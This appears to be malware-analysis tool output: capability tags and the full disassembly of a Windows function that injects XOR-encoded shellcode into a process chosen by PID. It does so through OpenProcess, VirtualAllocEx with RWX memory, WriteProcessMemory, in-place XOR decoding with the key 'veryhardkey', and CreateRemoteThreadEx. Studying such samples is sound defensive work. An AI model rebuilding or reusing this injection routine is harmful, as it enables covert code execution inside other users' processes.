Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea r8, [0x140003260]
mov rdi, rdx
movups xmm0, xmmword [r8]
lea r9, [rsp + 0x60]
mov ebx, ecx
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
mov edx, 0xce
mov rax, qword [r8 + 0x40]
lea rcx, str.___Size_of_shellcode_is:__zd_bytes_n_n
movups xmmword [r9], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [r9 + 0x20], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [r9 + 0x30], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [r9 + 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [r9 + 0x50], xmm1
movups xmm1, xmmword [r8]
movups xmmword [r9 + 0x60], xmm0
lea r9, [r9 + 0x80]
movups xmm0, xmmword [r8 - 0x10]
movups xmmword [r9 - 0x10], xmm0
movups xmm0, xmmword [r8 + 0x10]
movups xmmword [r9], xmm1
movups xmm1, xmmword [r8 + 0x20]
movups xmmword [r9 + 0x10], xmm0
movups xmm0, xmmword [r8 + 0x30]
movups xmmword [r9 + 0x20], xmm1
movups xmmword [r9 + 0x30], xmm0
mov qword [r9 + 0x40], rax
mov eax, dword [r8 + 0x48]
mov dword [r9 + 0x48], eax
movzx eax, word [r8 + 0x4c]
mov word [r9 + 0x4c], ax
call fcn.140001010
cmp ebx, 2
jge 0x14000116b
mov rdx, qword [rdi]
lea rcx, str.____Usage:__s__PID__n
call fcn.140001010
mov eax, 1
jmp 0x1400013ca
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, eax
lea rcx, str.___Inserted_PID:__d_n_n
mov ebx, eax
call fcn.140001010
mov edx, ebx
lea rcx, str.___Trying_to_get_the_handle_of_the_Procees:__n
call fcn.140001010
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov edx, ebx
test rax, rax
jne 0x1400011c1
lea rcx, str.____Not_Able_to_get_the_handle_of_process__d_n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x1400013ca
lea rcx, str.___Got_the_Handle_of_the_process:__d_n
call fcn.140001010
mov rdx, rdi
lea rcx, str.___Processes_Handle:_0x_p_n_n
call fcn.140001010
mov rdx, rdi
lea rcx, str.___Trying_to_Allocate_the_Buffer_of_the_processes_V_Memory...__Handle:_0x_p_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xce
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14000122a
lea rcx, str.____Failed_to_Allocate_Buffer_n
call fcn.140001010
mov eax, 1
jmp 0x1400013ca
lea rcx, str.___Succesfully_Aloocated_the_buffer_into_the_Virtual_space_of_the_process_n
mov qword [rsp + 0x150], rbp
call fcn.140001010
mov rdx, qword [rsp + 0x40]
lea rcx, str.___Address:__x_n_n
call fcn.140001010
mov rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x60]
xor ebp, ebp
mov r9d, 0xce
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001287
lea rcx, str.____Unable_to_write_the_shellcode_n
call fcn.140001010
lea eax, [rbp + 1]
jmp 0x1400013c2
lea rcx, str.___Wrote_Shellcode_to_the_buffer__n
mov qword [rsp + 0x160], rsi
call fcn.140001010
movsd xmm0, qword [str.veryhardkey]
lea rsi, [rsp + 0x40]
mov eax, dword [0x140003560]
mov ebx, ebp
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
nop word [rax + rax]
mov r9d, 1
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x48]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, 0xba2e8ba3
mov qword [rsp + 0x20], rbp
mul ebx
mov ecx, ebx
lea r8, [rsp + 0x48]
shr edx, 3
mov r9d, 1
imul eax, edx, 0xb
mov rdx, rsi
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rsp + rax + 0x50]
xor byte [rsp + 0x48], cl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 1
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x48]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
inc ebx
add rsi, 8
cmp ebx, 0xcd
jl 0x1400012c0
mov r9, qword [rsp + 0x40]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebp
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
lea rcx, str.___Thread_invoked__n
mov rbx, rax
call fcn.140001010
mov rdx, rbx
lea rcx, str.___Thread_Handle:_0x_p_n
call fcn.140001010
mov edx, dword [rsp + 0x4c]
lea rcx, str.___Thread_ID:__d_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x160]
xor eax, eax
mov rbp, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001400
mov rbx, qword [rsp + 0x168]
add rsp, 0x140
pop rdi
ret